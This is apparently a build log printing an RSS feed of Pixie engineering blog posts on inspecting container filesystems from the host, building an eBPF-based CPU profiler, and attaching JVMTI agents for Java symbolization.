6:35:43 AM: '</code></pre><p>This is a great way to start. And if it works for all your needs, you should continue using it.</p><p>One downside of this approach, however, is that it requires a shell to be present inside the container. If no <code>/bin/bash</code>, <code>/bin/sh</code> or other shell is present inside the container, then this approach won’t work. Many of the containers we build for the Pixie project, for example, are based on <code>distroless</code> and don’t have a shell included to keep image sizes small. In those cases, this approach doesn’t work.</p><p>Even if a shell is available, you won’t have access to all the tools you’re used to. So if there’s no <code>grep</code> installed inside the container, then you also won’t have access to <code>grep</code>. That’s another reason to look for something better.</p><h2>Method 2: Using nsenter</h2><p>If you get a little more advanced, you’ll realize that container processes are just like other processes on the Linux host, only running inside a namespace to keep them isolated from the rest of the system.</p><p>So you could use the <a href=https://man7.org/linux/man-pages/man1/nsenter.1.html><code>nsenter</code></a> command to enter the namespace of the target container, using something like this:</p><pre><code class=language-bash># Get the host PID of the process in the container\n' +

6:35:43 AM: 'PID=$(docker container inspect mycontainer | jq '.[0].State.Pid')\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Use nsenter to go into the container’s mount namespace.\n' +

6:35:43 AM: 'sudo nsenter -m -t $PID /bin/bash\n' +

6:35:43 AM: '</code></pre><p>This enters the mount (<code>-m</code>) namespace of the target process (<code>-t $PID</code>), and runs <code>/bin/bash</code>. Entering the mount namespace essentially means we get the view of the filesystem that the container sees.</p><p>This approach may seem more promising than the <code>docker exec</code> approach, but runs into a similar issue: it requires <code>/bin/bash</code> (or some other shell) to be in the target container. If we were entering anything other than the mount namespace, we could still access the files on the host, but because we’re entering the mount namespace before executing <code>/bin/bash</code> (or other shell), we’re out of luck if there’s no shell inside the mount namespace.</p><h2>Method 3: Copy with docker</h2><p>A different approach to the problem is simply to copy the relevant files to the host, and then work with the copy.</p><p>To copy selected files from a running container, you can use:</p><pre><code class=language-bash>docker cp mycontainer:/path/to/file file\n' +

6:35:43 AM: '</code></pre><p>It's also possible to snapshot the entire filesystem with:</p><pre><code class=language-bash>docker export mycontainer -o container_fs.tar\n' +

6:35:43 AM: '</code></pre><p>These commands give you the ability to inspect the files, and are a big improvement over first two methods when the container may not have a shell or the tools you need.</p><h2>Method 4: Finding the filesystem on the host</h2><p>The copy method solves a lot of our issues, but what if you are trying to monitor a log file? Or what if you're trying to deploy an eBPF probe to a file inside the container? In these cases copying doesn't work.</p><p>We’d really like to access the container’s filesystem directly from the host. The container’s files should be somewhere on the host's filesystem, but where?</p><p>Docker's <code>inspect</code> command has a clue for us:</p><pre><code class=language-bash>docker container inspect mycontainer | jq '.[0].GraphDriver'\n' +

6:35:43 AM: '</code></pre><p>Which gives us:</p><pre><code class=language-json>{\n' +

6:35:43 AM: ' "Data": {\n' +

6:35:43 AM: ' "LowerDir": "/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab-init/diff:/var/lib/docker/overlay2/524a0d000817a3c20c5d32b79c6153aea545ced8eed7b78ca25e0d74c97efc0d/diff",\n' +

6:35:43 AM: ' "MergedDir": "/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/merged",\n' +

6:35:43 AM: ' "UpperDir": "/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/diff",\n' +

6:35:43 AM: ' "WorkDir": "/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/work"\n' +

6:35:43 AM: ' },\n' +

6:35:43 AM: ' "Name": "overlay2"\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '</code></pre><p>Let’s break this down:</p><ul><li><code>LowerDir</code>: Includes the filesystems of all the layers inside the container except the last one</li><li><code>UpperDir</code>: The filesystem of the top-most layer of the container. This is also where any run-time modifications are reflected.</li><li><code>MergedDir</code>: A combined view of all the layers of the filesystem.</li><li><code>WorkDir</code>: An internal working directory used to manage the filesystem.</li></ul><div class=image-xl><svg title=Structure of container filesystems based on overlayfs. src=overlayfs.png></svg></div><p>So to see the files inside our container, we simply need to look at the MergedDir path.</p><pre><code class=language-bash>sudo ls /var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/merged\n' +

6:35:43 AM: '</code></pre><p>If you want to learn in more detail how the filesystem works, you can check out this excellent blog post on the overlay filesystem by Martin Heinz: <a href=https://martinheinz.dev/blog/44>https://martinheinz.dev/blog/44</a>.</p><h2>Method 5: /proc/<pid>/root</h2><p>Saving the best for last, there’s an even easier way to find the container’s filesystem from the host. Using the host PID of a process inside the container, you can simply run:</p><pre><code class=language-bash>sudo ls /proc/<pid>/root\n' +

6:35:43 AM: '</code></pre><p>Linux has taken care of giving you a view into the mount namespace of the process.</p><p>At this point, you’re probably thinking: why didn’t we just lead with this approach and make it a one-line blog post...but it’s all about the journey, right?</p><h2>Bonus: /proc/<pid>/mountinfo</h2><p>For the curious, all the information about the container’s overlay filesystem discussed in Method 4 can also be discovered directly from the Linux <code>/proc</code> filesystem. If you simply look at <code>/proc/<pid>/mountinfo</code>, you’ll see something like this:</p><pre><code class=language-bash>2363 1470 0:90 / / rw,relatime master:91 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/YZVAVZS6HYQHLGEPJHZSWTJ4ZU:/var/lib/docker/overlay2/l/ZYW5O24UWWKAUH6UW7K2DGV3PB,upperdir=/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/diff,workdir=/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/work\n' +

6:35:43 AM: '2364 2363 0:93 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw\n' +

6:35:43 AM: '2365 2363 0:94 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64\n' +

6:35:43 AM: '…\n' +

6:35:43 AM: '</code></pre><p>Here you can see that the container has mounted an overlay filesystem as its root. It also reports the same type of information that <code>docker inspect</code> reports, including the <code>LowerDir</code> and <code>UpperDir</code> of the container’s filesystem. It’s not directly showing the <code>MergedDir</code>, but you can just take the <code>UpperDir</code> and change <code>diff</code> to <code>merged</code>, and you have a view into the filesystem of the container.</p><h2>How we use this at Pixie</h2><p>At the beginning of this blog, I mentioned how the Pixie project needs to place eBPF probes on containers. Why and how?</p><p>The Stirling module inside Pixie is responsible for collecting observability data. Being k8s-native, a lot of the data that is collected comes from applications running in containers. Stirling also uses eBPF probes to gather data from the processes it monitors. For example, Stirling deploys eBPF probes on OpenSSL to trace encrypted messages (see the <a href=https://blog.px.dev/ebpf-openssl-tracing/>SSL tracing blog</a> if you want more details on that).</p><p>Since each container bundles its own OpenSSL and other libraries, any eBPF probes Stir'... 919 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Building a Continuous Profiler Part 1: An Intro to App Profiling',

6:35:43 AM: date: '2021-05-24',

6:35:43 AM: description: 'Application profiling tools are not new, but they are often a hassle to use. Many profilers require you to recompile your application or at…',

6:35:43 AM: url: 'https://blog.px.dev/cpu-profiling/',

6:35:43 AM: guid: 'https://blog.px.dev/cpu-profiling/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Application profiling tools are not new, but they are often a hassle to use. Many profilers require you to recompile your application or at the very least to rerun it, making them less than ideal for the lazy developer who would like to debug performance issues on the fly.</p><p>Earlier this year, we built the tool we’d like to have in our personal perf toolkit - a continuous profiler that is incredibly easy to use: no instrumentation, no redeployment, no enablement; just automatic access to CPU profiles whenever needed.</p><p>Over the next 3 blog posts, we’ll show how to build and productionize this continuous profiler for Go and other compiled languages (C/C++, Rust) with very low overhead (<1% and decreasing):</p><ul><li><a href=/cpu-profiling/#part-1:-an-introduction-to-application-performance-profiling>Part 1: An intro to application performance profiling.</a></li><li><a href=/cpu-profiling-2>Part 2: A simple eBPF-based CPU profiler.</a></li><li><a href=/cpu-profiling-3>Part 3: The challenges of building a continuous CPU profiler in production.</a></li></ul><p>Want to try out Pixie’s profiler before seeing how we built it? Check out the <a href=https://docs.px.dev/tutorials/profiler>tutorial</a>.</p><h2>Part 1: An Introduction to Application Performance Profiling</h2><p>The job of an application performance profiler is to figure out where your code is spending its time. This information can help developers resolve performance issues and optimize their applications.</p><p>For the profiler, this typically means collecting stack traces to understand which functions are most frequently executing. The goal is to output something like the following:</p><pre><code class=language-bash>70% main(); compute(); matrix_multiply()\n' +

6:35:43 AM: '10% main(); read_data(); read_file()\n' +

6:35:43 AM: ' 5% main(); compute(); matrix_multiply(); prepare()\n' +

6:35:43 AM: '...\n' +

6:35:43 AM: '</code></pre><p>Above is an example stack traces from a profiler. Percentages show the number of times a stack trace has been recorded with respect to the total number of recorded stack traces.</p><p>This example shows several stack traces, and immediately tells us our code is in the body of <code>matrix_multiply()</code> 70% of the time. There’s also an additional 5% of time spent in the <code>prepare()</code> function called by <code>matrix_multiply()</code>. Based on this example, we should likely focus on optimizing <code>matrix_multiply()</code>, because that’s where our code is spending the majority of its time.</p><p>While this simple example is easy to follow, when there are deep stacks with lots of branching, it may be difficult to understand the full picture and identify performance bottlenecks. To help interpret the profiler output, the <a href=http://www.brendangregg.com/flamegraphs.html>flamegraph</a>, popularized by Brendan Gregg, is a useful visualization tool.</p><p>In a flamegraph, the x-axis represents time, and the y-axis shows successive levels of the call stack. One can think of the bottom-most bar as the “entire pie”, and as you move up, you can see how the total time is spent throughout the different functions of your code. For example, in the flamegraph below, we can see our application spends 80% of its time in <code>compute()</code>, which in turn spends the majority of its time in <code>matrix_multiply()</code>.</p><div class=image-xl><svg title=Example flamegraph. All percentages are relative to the total number of samples (i.e. relative to main) src=flamegraph.png></svg></div><p>In a flamegraph, wide bars indicate program regions that consume a large fraction of program time (i.e. hot spots), and these are the most obvious candidates for optimization. Flamegraphs also help find hot spots that might otherwise be missed in a text format. For example, <code>read_data()</code> appears in many sampled stack traces, but never as the leaf. By putting all the stack traces together into a flamegraph, we can immediately see that it consumes 15% of the total application time.</p><h3>How Do Profilers Work Anyway?</h3><p>So profilers can grab stack traces, and we can visualize the results in flamegraphs. Great! But you’re probably now wondering: <em>how</em> do profilers get the stack trace information?</p><p>Early profilers used instrumentation. By adding measurement code into the binary, instrumenting profilers collect information every time a function is entered or exited. An example of this type of profiler is the historically popular <code>gprof</code> tool (gprof is actually a hybrid profiler which uses sampling and instrumentation together). Unfortunately, the instrumentation part can add significant overhead, <a href=https://www.researchgate.net/publication/221235356_Low-overhead_call_path_profiling_of_unmodified_optimized_code>up to 260%</a> in some cases.</p><p>More recently, sampling-based profilers have become widely used due to their low overhead. The basic idea behind sampling-based profilers is to periodically interrupt the program and record the current stack trace. The stack trace is recovered by looking at the instruction pointer of the application on the CPU, and then inspecting the stack to find the instruction pointers of all the parent functions (frames) as well. Walking the stack to reconstruct a stack trace has some complexities, but the basic case is shown below. One starts at the leaf frame, and uses frame pointers to successively find the next parent frame. Each stack frame contains a return address instruction pointer which is recorded to construct the entire stack trace.</p><div class=image-m><svg title=A program’s call stack. Frame pointers can be used to walk the stack and record the return addresses to generate a stack trace. src=callstack.png></svg></div><p>By sampling stack traces many thousands of times, one gets a good idea of where the code spends its time. This is fundamentally a statistical approach, so the more samples are collected, the more confidence you’ll have that you’ve found a real hot-spot. You also have to ensure there’s no correlation between your sampling methodology and the target application, so you can trust the results, but a simple timer-based approach typically works well.</p><p>Sampling profilers can be very efficient, to the point that there is negligible overhead. For example, if one samples a stack trace every 10 ms, and we assume (1) the sampling process requires 10,000 instructions (this is a generous amount according to our measurements), and (2) that the CPU processes 1 billion instructions per second, then a rough calculation (10000*100/1B) shows a theoretical performance overhead of only 0.1%.</p><p>A third approach to profiling is simulation, as used by Valgrind/Callgrind. Valgrind uses no instrumentation, but runs your program through a virtual machine which profiles the execution. This approach provides a lot of information, but is also high in overheads.</p><p>The table below summarizes properties of a number of popular performance profilers.</p><table><thead><tr><th>Profiler</th><th>Methodology</th><th>Deployment</th><th>Traces Libraries/System Calls?</th><th>Performance Overhead</th></tr></thead><tbody><tr><td><a href=https://sourceware.org/binutils/docs/gprof/>gprof</a></td><td>Instrumentation + Sampling</td><td>Recompile & Rerun</td><td>No</td><td>High (up to <a href=https://www.researchgate.net/publication/221235356_Low-overhead_call_path_profiling_of_unmodified_optimized_code>260%</a>)</td></tr><tr><td><a href=https://valgrind.org/docs/manual/cl-manual.html>Callgrind</a></td><td>Simulation</td><td>Rerun</td><td>Yes</td><td>Very High (<a href=https://www.cs.cmu.edu/afs/cs.cmu.edu/project/cmt-40/Nice/RuleRefinement/bin/valgrind-3.2.0/docs/html/cl-manual.html>&gt;400%</a>)</td></tr><tr><td><a href=https://github.com/gperftools/gperftools>gperftools</a></td><td>Sampling (User-space only)</td><td>Rerun</td><td>Yes</td><td>Low</td></tr><tr><td><a href=https://oprofile.sourceforge.io/about/>oprofile</a>, linux <a href=https://github.com/torvalds/linux/tree/master/tools/perf>perf</a>, <a href=https://github.com/iovisor/bcc/blob/master/tools/profile.py>bcc_profile</a></td><td>Sampling (Kernel-assisted)</td><td>Profile any running process</td><td>Yes</td><td>Low</td></tr></tbody></table><p>For Pixie, we wanted a profiling methodology that (1) had very low overheads, and (2) required no recompilation or redeployment. This meant we were clearly looking at sampling-based profilers.</p><p>In <a href=/cpu-profiling-2>part two</a> of this series, we’ll examine how to build a simple sampling-based profiler using eBPF and <a href=https://github.com/iovisor/bcc/>BCC</a>.</p>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Building a Continuous Profiler Part 2: A Simple eBPF-Based Profiler',

6:35:43 AM: date: '2021-06-01',

6:35:43 AM: description: 'In the last blog post , we discussed the basics of CPU profilers for compiled languages like Go, C++ and Rust. We ended by saying we wanted…',

6:35:43 AM: url: 'https://blog.px.dev/cpu-profiling-2/',

6:35:43 AM: guid: 'https://blog.px.dev/cpu-profiling-2/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>In the last <a href=/cpu-profiling/#part-1:-an-introduction-to-application-performance-profiling>blog post</a>, we discussed the basics of CPU profilers for compiled languages like Go, C++ and Rust. We ended by saying we wanted a sampling-based profiler that met these two requirements:</p><ol><li><p>Does not require recompilation or redeployment: This is critical to Pixie’s auto-telemetry approach to observability. You shouldn’t have to instrument or even re-run your application to get observability.</p></li><li><p>Has very low overheads: This is required for a continuous (always-on) profiler, which was desirable for making performance profiling as low-effort as possible.</p></li></ol><p>A few existing profilers met these requirements, including the Linux <a href=https://github.com/torvalds/linux/tree/master/tools/perf>perf</a> tool. In the end, we settled on the BCC eBPF-based profiler developed by Brendan Gregg <a href=http://www.brendangregg.com/blog/2016-10-21/linux-efficient-profiler.html>[1]</a> as the best reference. With eBPF already at the heart of the Pixie platform, it was a natural fit, and the efficiency of eBPF is undeniable.</p><p>If you’re familiar with eBPF, it’s worth checking out the source code of the <a href=https://github.com/iovisor/bcc/blob/v0.20.0/tools/profile.py>BCC implementation</a>. For this blog, we’ve prepared our own simplified version that we’ll examine in more detail.</p><h2>An eBPF-based profiler</h2><p>The code to our simple eBPF-based profiler can be found <a href=https://github.com/pixie-io/pixie-demos/tree/main/ebpf-profiler>here</a>, with further instructions included at the end of this blog (see <a href=/cpu-profiling-2/#running-the-demo-profiler>Running the Demo Profiler</a>). We’ll be explaining how it works, so now’s a good time to clone the repo.</p><p>Also, before diving into the code, we should mention that the Linux developers have already put in dedicated hooks for collecting stack traces in the kernel. These are the main APIs we use to collect stack traces (and this is how the official BCC profiler works well). We won’t, however, go into Linux’s implementation of these APIs, as that’s beyond the scope of this blog.</p><p>With that said, let’s look at some BCC eBPF code. Our basic structure has three main components:</p><pre><code class=language-cpp>const int kNumMapEntries = 65536;\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'BPF_STACK_TRACE(stack_traces, kNumMapEntries);\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'BPF_HASH(histogram, struct stack_trace_key_t, uint64_t, kNumMapEntries);\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'int sample_stack_trace(struct bpf_perf_event_data* ctx) {\n' +

6:35:43 AM: ' // Collect stack traces\n' +

6:35:43 AM: ' // ...\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '</code></pre><p>Here we define:</p><ol><li><p>A <code>BPF_STACK_TRACE</code> data structure called <code>stack_traces</code> to hold sampled stack traces. Each entry is a list of addresses representing a stack trace. The stack trace is accessed via an assigned stack trace ID.</p></li><li><p>A <code>BPF_HASH</code> data structure called <code>histogram</code> which is a map from the sampled location in the code to the number of times we sampled that location.</p></li><li><p>A function <code>sample_stack_trace</code> that will be periodically triggered. The purpose of this eBPF function is to grab the current stack trace whenever it is called, and to populate/update the <code>stack_traces</code> and <code>histogram</code> data structures appropriately.</p></li></ol><p>The diagram below shows an example organization of the two data structures.</p><div class=image-xl><svg title=The two main data structures for our eBPF performance profiler. The stack_traces map records stack traces and assigns them an id. The histogram map counts the number of times a particular location in the code (defined by the combination of the user stack trace and kernel stack trace) is sampled. src=profiler-data-structures.png></svg></div><p>As we’ll see in more detail later, we’ll set up our BPF code to trigger on a periodic timer. This means every X milliseconds, we’ll interrupt the CPU and trigger the eBPF probe to sample the stack traces. Note that this happens regardless of which process is on the CPU, and so the eBPF profiler is actually a system-wide profiler. We can later filter the results to include only the stack traces that belong to our application.</p><div class=image-xl><svg title=The `sample_stack_trace` function is set-up to trigger periodically. Each time it triggers, it collects the stack trace and updates the two maps. src=sample-stack-trace-function.png></svg></div><p>Now let’s look at the full BPF code inside <code>sample_stack_trace</code>:</p><pre><code class=language-cpp>int sample_stack_trace(struct bpf_perf_event_data* ctx) {\n' +

6:35:43 AM: ' // Sample the user stack trace, and record in the stack_traces structure.\n' +

6:35:43 AM: ' int user_stack_id = stack_traces.get_stackid(&ctx->regs, BPF_F_USER_STACK);\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' // Sample the kernel stack trace, and record in the stack_traces structure.\n' +

6:35:43 AM: ' int kernel_stack_id = stack_traces.get_stackid(&ctx->regs, 0);\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' // Update the counters for this user+kernel stack trace pair.\n' +

6:35:43 AM: ' struct stack_trace_key_t key = {};\n' +

6:35:43 AM: ' key.pid = bpf_get_current_pid_tgid() >> 32;\n' +

6:35:43 AM: ' key.user_stack_id = user_stack_id;\n' +

6:35:43 AM: ' key.kernel_stack_id = kernel_stack_id;\n' +

6:35:43 AM: ' histogram.increment(key);\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' return 0;\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '</code></pre><p>Surprisingly, that’s it! That’s the entirety of our BPF code for our profiler. Let’s break it down...</p><p>Remember that an eBPF probe runs in the context when it was triggered, so when this probe gets triggered it has the context of whatever program was running on the CPU. Then it essentially makes two calls to <code>stack_traces.get_stackid()</code>: one to get the current user-code stack trace, and another to get the kernel stack trace. If the code was not in kernel space when interrupted, the second call simply returns EEXIST, and there is no stack trace. You can see that all the heavy-lifting is really done by the Linux kernel.</p><p>Next, we want to update the counts for how many times we’ve been at this exact spot in the code. For this, we simply increment the counter for the entry in our histogram associated with the tuple {pid, user_stack_id, kernel_stack_id}. Note that we throw the PID into the histogram key as well, since that will later help us know which process the stack trace belongs to.</p><h2>We’re Not Done Yet</h2><p>While the eBPF code above samples the stack traces we want, we still have a little more work to do. The remaining tasks involve:</p><ol><li><p>Setting up the trigger condition for our BPF program, so it runs periodically.</p></li><li><p>Extracting the collecting data from BPF maps.</p></li><li><p>Converting the addresses in the stack traces into human readable symbols.</p></li></ol><p>Fortunately, all this work can be done in user-space. No more eBPF required.</p><p>Setting up our BPF program to run periodically turns out to be fairly easy. Again, credit goes to the BCC and eBPF developers. The crux of this setup is the following:</p><pre><code class=language-cpp>bcc->attach_perf_event(\n' +

6:35:43 AM: ' PERF_TYPE_SOFTWARE,\n' +

6:35:43 AM: ' PERF_COUNT_SW_CPU_CLOCK,\n' +

6:35:43 AM: ' std::string(probe_fn),\n' +

6:35:43 AM: ' sampling_period_millis * kNanosPerMilli,\n' +

6:35:43 AM: ' 0);\n' +

6:35:43 AM: '</code></pre><p>Here we’re telling the BCC to set up a trigger based on the CPU clock by setting up an event based on <code>PERF_TYPE_SOFTWARE/PERF_COUNT_SW_CPU_CLOCK</code>. Every time this value reaches a multiple of <code>sampling_period_millis</code>, the BPF probe will trigger and call the specified <code>probe_fn</code>, which happens to be our <code>sample_stack_trace</code> BPF program. In our demo code, we’ve set the sampling period to be every 10 milliseconds, which will collect 100 samples/second. That’s enough to provide insight over a minute or so, but also happens infrequently enough so it doesn’t add noticeable overheads.</p><p>After deploying our BPF code, we have to collect the results from the BPF maps. We access the maps from user-space using the BCC APIs:</p><pre><code class=language-cpp>ebpf::BPFStackTable stack_traces =\n' +

6:35:43 AM: ' bcc->get_stack_table(kStackTracesMapName);\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'ebpf::BPFHashTable<stack_trace_key_t, uint64_t> histogram =\n' +

6:35:43 AM: ' bcc->get_hash_table<stack_trace_key_t, uint64_t>(kHistogramMapName);\n' +

6:35:43 AM: '</code></pre><p>Finally, we want to convert our addresses to symbols, and to concatenate our user and kernel stack traces. Fortunately, BCC has once again made our life easy on this one. In particular, there is a call <code>stack_traces.get_stack_symbol</code>, that will convert the list of addresses in a stack trace into a list of symbols. This function needs the PID, because it will lookup the debug symbols in the process’s object file to perform the translation.</p><pre><code class=language-cpp> std::map<std::string, int> result;\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' for (const auto& [key, count] : histogram.get_table_offline()) {\n' +

6:35:43 AM: ' if (key.pid != target_pid) {\n' +

6:35:43 AM: ' continue;\n' +

6:35:43 AM: ' }\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' std::string stack_trace_str;\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' if (key.user_stack_id >= 0) {\n' +

6:35:43 AM: ' std::vector<std::string> user_stack_symbols =\n' +

6:35:43 AM: ' stack_traces.get_stack_symbol(key.user_stack_id, key.pid);\n' +

6:35:43 AM: ' for (const auto& sym : user_stack_symbols) {\n' +

6:35:43 AM: ' stack_trace_str += sym;\n' +

6:35:43 AM: ' stack_trace_str += ";";\n' +

6:35:43 AM: ' }\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' if (key.kernel_stack_id >= 0) {\n' +

6:35:43 AM: ' std::vector<std::string> user_stack_symbols =\n' +

6:35:43 AM: ' stack_traces.get_stack_symbol(key.kernel_stack_id, -1);\n' +

6:35:43 AM: ' for (const auto& sym : user_stack_symbols) {\n' +

6:35:43 AM: ' stack_trac'... 2535 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'How we automated Java profiling: in production, without re-deploy',

6:35:43 AM: date: '2022-09-22',

6:35:43 AM: description: 'The Java ecosystem offers many options for profiling Java applications, but what if you want to debug on prod without redeploying? At Pixie…',

6:35:43 AM: url: 'https://blog.px.dev/cpu-profiling-java/',

6:35:43 AM: guid: 'https://blog.px.dev/cpu-profiling-java/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>The Java ecosystem offers many options for profiling Java applications, but what if you want to <strong><em>debug on prod without redeploying?</em></strong></p><p>At Pixie, we’re building an open source platform that makes Kubernetes observability ridiculously easy for developers. Our guiding principles is that you shouldn’t have to instrument, recompile or redeploy your applications in order to observe and debug them.</p><p>Adding Java support to our continuous always-on profiler was no exception; it needed to work out-of-the box, without recompilation or redeployment. But Java’s Just-In-Time compilation makes it challenging to convert captured stack-traces — containing virtual addresses of running processes — into human readable symbols.</p><p>This blog post will describe how our eBPF-based profiling and Java symbolization works under the covers and include some of the insights that we acquired as we built out this feature.</p><h2>How our eBPF-based always-on profiler works</h2><p>The Pixie performance profiler uses an <a href=https://ebpf.io/>eBPF</a> program running in the kernel to periodically sample stack-traces from the running applications. A stack-trace shows a program’s state, i.e. its call stack, at a particular moment in time. By aggregating across many stack trace samples, one can see which portions of a program’s call stack are using the CPU the most.</p><p>When the kernel samples a stack trace, it is a list of instruction pointers in the virtual address space of the relevant process. Symbolization is the task of translating those virtual addresses into human readable symbols, e.g. translating address <code>0x1234abcd</code> into symbol <code>foo()</code>. After moving the stack-traces from their BPF table to our user-space “Pixie edge module,” the stack-traces are then symbolized. Because the stack-traces are sampled by the kernel, they include all running processes -- naturally, including Java.</p><div class=image-xl><svg title=Pixie’s continuous profiler uses eBPF to sample stack-traces. The stack-trace tables are then pushed to the user space where they are symbolized. src=pixie-profiler-ebpf.png></svg></div><p>For Java processes, the addresses collected by the stack trace sampler represent the underlying Java application source code that has been JIT’d into native machine code by the JVM <sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup>, but symbolization is not straightforward.</p><p>Symbolizers for compiled languages that are not JITed (e.g. C++, Golang) work by finding the debug symbol section in natively compiled binaries and libraries. However this is not available for Java byte code, since the code is not statically mapped into the application's virtual address space. Thus, our original symbolizer could not make sense out of a Java stack-traces (except for parts that are explicitly in the JVM, but these are not usually of interest to application developers).</p><p>To make Java profiling “work,” we needed a new symbolizer. Fortunately, we were able to lean on other open source contributions and the Java ecosystem to easily meet this need. In brief, we use the <a href=https://docs.oracle.com/javase/8/docs/platform/jvmti/jvmti.html>Java Virtual Machine Tool Interface</a> -- the “JVMTI” -- to interact with the JVM running the target Java application. Based on the open source Java “<a href=https://github.com/jvm-profiling-tools/perf-map-agent>perf map agent</a>”, <a href=https://github.com/pixie-io/pixie/blob/main/src/stirling/source_connectors/perf_profiler/java/agent/agent.cc>we wrote our own JVMTI agent</a> that listens to the JVMTI callbacks for <code>CompiledMethodLoad</code> and <code>DynamicCodeGenerated</code> <sup id=fnref-2><a href=#fn-2 class=footnote-ref>2</a></sup>. Thus, our JVMTI agent writes each Java symbol and its corresponding address range into a symbol file, and by reading this file, the Pixie data collection process (the Pixie Edge Module or “pem”) symbolizes Java stack-traces.</p><div class=image-xl><svg title=Using a JVMTI agent to extract symbols from JIT’d code in the Java Virtual Machine. src=jvmti-agent.png></svg></div><h2>JVMTI attach issues in a Kubernetes context</h2><p>To match an address in a stack-trace to a symbol in the underlying application source code, Pixie uses a JVMTI agent. The agent is triggered each time the JVM JITs some application source code into native binary code stored in memory, and it simply writes the symbol and its corresponding virtual address range into a symbol file. But, Pixie promises turn-key automation, so how do we automatically attach a JVMTI agent to a target application process in a Kubernetes cluster?</p><p>Agent attach is well supported by the Java ecosystem. The easiest way to accomplish it is through a command line argument passed to the Java binary at application startup, e.g.:</p><pre><code class=language-bash>java -agentpath:/path/to/agent.so <other java args>\n' +

6:35:43 AM: '</code></pre><p>However, this method requires an application restart which violates our no-redeployment philosophy.</p><p>Fortunately, Java provides a way to dynamically attach JVMTI agents after application startup. One can simply write another Java program, and invoke the attach API:</p><pre><code class=language-java>VirtualMachine vm = VirtualMachine.attach(targetProcessPID);\n' +

6:35:43 AM: 'vm.load(agentFilePath);\n' +

6:35:43 AM: '</code></pre><p>So... either you need your own Java binary (which introduces worries about version and protocol matching) or you can try to use the Java binary in the target container, which may fail if that Java binary does not include the necessary virtual machine libraries.</p><p>But this assumes you can easily access a Java binary compatible with your target process and in the same container namespaces. It would be neat if we could just do whatever the above code snippet does, and it turns out, that is entirely possible: the mechanics of dynamic agent attach require just a little bit of interprocess communication over a Unix domain socket. But, this is where things get a little complicated thanks to Kubernetes and the diversity of application containers.</p><p>To automatically attach a JVMTI agent to a Java process running as a peer in Kubernetes, one needs to be aware of the following issues:</p><ul><li>Different JVM implementations (HotSpot and OpenJ9) have different attach protocols.</li><li>The agent <code>.so</code> file needs to be visible from inside of the target application container.</li><li>The Unix domain socket may need to share the same UID & GID as the target process.</li><li>Different libc implementations (Alpine Linux uses musl, not glibc).</li></ul><p>In more detail, the two prevailing JVM implementations, HotSpot and OpenJ9, have slightly different attach protocols. In each case, a Unix domain socket is created and used to pass messages into the JVM, but the location of the socket file and the specific message protocol differ. In general, it helps to be aware that the target process 